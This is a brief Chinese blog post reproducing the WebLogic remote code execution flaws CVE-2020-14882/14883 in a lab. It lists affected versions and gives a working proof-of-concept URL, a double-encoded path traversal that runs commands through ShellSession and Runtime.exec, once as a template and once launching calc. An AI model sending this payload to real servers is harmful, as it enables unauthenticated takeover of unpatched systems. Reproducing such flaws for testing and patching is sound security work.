CVE-2020-14882&14883:Weblogic RCE復現
阿新 • • 發佈:2020-12-15
0x01 簡介
Weblogic是美國Oracle公司出品的一個Application Server,確切的說是一個基於JavaEE架構的中介軟體,Weblogic是用於開發、整合、部署和管理大型分散式Web應用、網路應用和資料庫應用的Java應用伺服器。
0x02 漏洞描述
未經身份驗證的遠端攻擊者可能通過構造特殊的GET請求,利用該漏洞在受影響的 Weblogic Server上執行任意程式碼。
影響版本
- weblogic 10.3.6.0.0
- weblogic 12.1.3.0.0
- weblogic 12.2.1.3.0
- weblogic 12.2.1.4.0
- weblogic 14.1.1.0.0
0x03 環境搭建
請參考https://www.cnblogs.com/KHZ521/p/14053395.html
0x04 漏洞復現
POC:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27執行的命令%27);%22);
1.檢視伺服器weblogic的版本 (這裡用的是CVE-2020-14645weblogic漏洞探測工具)
2.隨便請求並抓包
3.使用poc進行測試
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc%27);%22);
4.復現成功
0x05 結束語
這個地方有點小問題,測試poc的時候相應包的響應結果很慢,並且伺服器端打開了十幾個視窗,我也不知道是為啥,反正復現成功了